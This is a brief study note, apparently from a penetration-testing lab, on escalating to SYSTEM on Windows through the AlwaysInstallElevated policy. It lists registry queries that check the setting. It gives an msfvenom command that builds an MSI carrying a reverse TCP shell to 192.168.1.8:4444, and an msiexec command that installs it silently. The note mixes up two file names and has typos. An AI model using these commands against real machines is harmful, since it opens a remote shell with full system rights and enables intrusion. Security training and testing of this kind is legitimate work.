Summery

AlwaysInstallElevated is a Windows Group Policy setting that allows Windows Installer (.msi) packages to install with SYSTEM-level privileges, even when launched by a standard user.

It requires two registry values to be enabled (1):
reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer

Exploitation

After you confirm that AlwaysInstallElevated is enabled you can create a .msi file which conains a reverse shell like the PowerShell one-liner or use msfvenom to generate it like so - msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.8 lport=4444 -a x64 --platform windows -f msi -o ignite.msi. (I had more luck with msfvenom here).

After you transfer it, you can install the malicious package with msiexec /i c:\users\htb-student\desktop\aie.msi /quiet /qn /norestart. /i specifies installation, /quiet suppresses the user interface, /qn requests no UI, and /norestart prevents an automatic reboot.

Normally you should receive the shell shortly after running msiexec, provided the MSI executes the payload successfully and your listener is already running.

References

Great article